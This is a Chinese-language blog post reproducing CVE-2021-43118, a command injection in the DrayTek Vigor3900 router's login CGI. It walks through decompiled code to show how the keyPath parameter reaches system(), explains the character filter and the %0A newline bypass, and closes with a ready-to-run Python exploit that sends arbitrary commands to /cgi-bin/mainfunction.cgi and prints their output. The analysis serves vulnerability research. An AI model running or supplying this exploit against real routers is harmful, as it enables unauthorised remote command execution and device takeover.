CVE-2021-43118 Vigor3900命令注入漏洞复现

本文最后更新于:2024年8月14日 凌晨

漏洞查找

使用了lighttpd运行了httpd服务,lighttpd根据lighttpd.conf配置文件部署page1

根据已提供的信息漏洞就在文件mainfunctuin.cgi

根据已提供的信息找到keyPath的交叉引用,就可以找到对应函数sub_2AB3C

有一个system函数,参数为修改的名称sh,那么就需要想办法控制sh即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
haystack = getenv("HTTP_COOKIE");
v0 = getenv("REMOTE_ADDR");
strcpy(sh, "uci get acc_ctrl.access_control.validation_code");
v1 = (char *)sub_21558(sh);
strcpy(sh, "uci get acc_ctrl.access_control.fail_times");
v2 = (const char *)sub_21558(sh);
v36 = atoi(v2);
v3 = (const char *)sub_20ECC(v0, ".", "_");
snprintf(sh, 0x400u, "json -f /tmp/login_ip get ip.%s", v3);
v4 = (const char *)sub_21558(sh);
v37 = atoi(v4);
Value = cgiGetValue(dword_42D0C, "keyPath");
v6 = (const char *)cgiGetValue(dword_42D0C, "loginUser");
v7 = cgiGetValue(dword_42D0C, "loginPwd");
v8 = v6 == 0;
if ( v6 )
v8 = v7 == 0;
v9 = (const char *)v7;
if ( v8 || !Value )
{
v14 = cgiGetValue(dword_42D0C, "formusername");
v17 = cgiGetValue(dword_42D0C, "formpassword");
}
else
{
v10 = off_42400[0];
v11 = (const char *)sub_AD58(Value);
snprintf(v41, 0x64u, "%s%s%s", v10, "_", v11);
sub_AD58(v6);
v12 = strlen(v6);
v13 = sub_CEC4(v6, v12, v47);
sub_CCC8(off_42404[0], v47[0], v13);
snprintf(sh, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v41, off_42404[0]);
v14 = sub_21558(sh);
sub_AD58(v9);
v15 = strlen(v9);
v16 = sub_CEC4(v9, v15, v47);
sub_CCC8(off_42404[0], v47[0], v16);
snprintf(sh, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v41, off_42404[0]);
v17 = sub_21558(sh);
snprintf(sh, 0x400u, "rm -f '%s' '%s' '%s'", v41, off_42404[0], v34);
system(sh);
}

从下往上看,我们发现cmd的一个部分v41来自v10与v11,我们考虑对其进行继续跟踪。然而发现v10来自off_42400,为.data:00042400 C4 7E 03 00 off_42400 DCD aTmpRsaPrivateK 也就是/tmp/rsa/private_key,而v11是Value经过函数sub_AD58的返回值。函数暂时不深究,我们继续向上回溯分析。page2

就可以发现,Value就是keypath的值。也就是说如果要传入命令必然经过keyPath。所以这就是注入点了。

尝试注入

在找到注入点之后,我们要分析,注入如何的数据能够走向执行system(sh)的部分。我们标注keyPath传入的数据就是web_cmd,我们可以看见,他会经过一个比较:

1
2
3
4
5
if ( v8 || !web_cmd )
{
v14 = cgiGetValue(web_cmd_buf, "formusername");
v17 = cgiGetValue(web_cmd_buf, "formpassword");
}

之后else中才会执行system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else
{
str11 = off_42400[0];
str12 = (const char *)sub_AD58(web_cmd);
snprintf(str_1, 0x64u, "%s%s%s", str11, "_", str12);
sub_AD58(v6);
v12 = strlen(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v14 = sub_21558(sh);
sub_AD58(v9);
v15 = strlen(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v17 = sub_21558(sh);
snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);
system(sh);
}

所以需要构建(v8 || !web_cmd) == false,而web_cmd我们一定能传进去,所以!web_cmd一定为false,那么就需要控制v8为0。

v8为Value == 0的布尔值,我们希望v8是false,也就是说Value不是0,而且如果value有了的话,我们也希望v7不是0,这样就能确保v8为0了。

1
2
3
web_cmd = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"keyPath");
Value = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"loginUser");
v7 = cgiGetValue(web_cmd_buf, (int)"loginPwd");

仔细观察发现web_cmd_buf其实依次从keyPath、loginUser、loginPwd取值,最后是从loginPwd取值到web_cmd,Value,v7,所以我们这三个参数都要有,才能满足v8为false。

而唯一直接可控的只有web_cmd,所以都是通过web_cmd构造命令进行注入。

sub_AD58处要传入命令又不想被改为加号,就不能同时出现 ` | ; ? 空格 $(这一类字符

1
2
str12 = change_str(web_cmd);
snprintf(str_1, 0x64u, "%s%s%s", str11, "_", (const char *)str12);

处理之后传给str12,会与str11和_和自己组合,我们为了与他们割裂可以用回车键将自己作为另一个命令。

1
2
3
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);

最后还会做这样一系列的操作。所以我们前后都用回车键将命令分隔开。

综上我们需要构造web_cmd也就是

  1. POST请求
  2. /cgi-bin/mainfunction.cgi 在目的ip后面
  3. action=login
  4. keyPath不得出现以上字符( ` | ; ? 空格 $( 不可同时出现 )。keyPath是命令。
  5. keyPath、loginUser、loginPwd都要赋值。
  6. keyPath前后都要想办法分割。

由于对web不熟,最后才知道可以直接用URL编码%0a去解决嵌套命令的问题,根据poc改exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import argparse
import requests

def system(host,cmd):
cmd = "\'%0A" + cmd + "%0A"
try:
headers = {
"HOST":"10.10.10.2",
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36",
"Content-Type": "text/plain; charset=UTF-8",
"Accept": "*/*",
}
url = host + "/cgi-bin/mainfunction.cgi"
data = f"action=login&keyPath={cmd}&loginUser=OSLike&loginPwd=abc123"
res = requests.post(url=url, data=data,headers=headers)
if res.status_code == 200 and res.text != "":
print("[+] Command executed successfully")
print("[+] Result: \n" + res.text)
return res.text
else:
print('[-] Command execute failed! Nothing...')
return 1
except:
print('[-] Command execute failed!')


if __name__ == "__main__":
# 获取第一个参数作为目标地址,第二个命令行参数作为命令
parser = argparse.ArgumentParser()
parser.add_argument("host", help="target host")
parser.add_argument("cmd", help="command to execute")
args = parser.parse_args()
#system(args.host, args.cmd)
system(args.host, "ls")

这样就能分别执行rm -f '/tmp/rsa/private_key_ls' '/tmp/rsa/binary_login' 'ls'

了,如果没有%0A去截断,原本的内容会在一行中,执行就会出现问题。


CVE-2021-43118 Vigor3900命令注入漏洞复现
http://example.com/2024/08/14/CVE-2021-43118-Vigor3900命令注入漏洞复现/
作者
OSLike
发布于
2024年8月14日
许可协议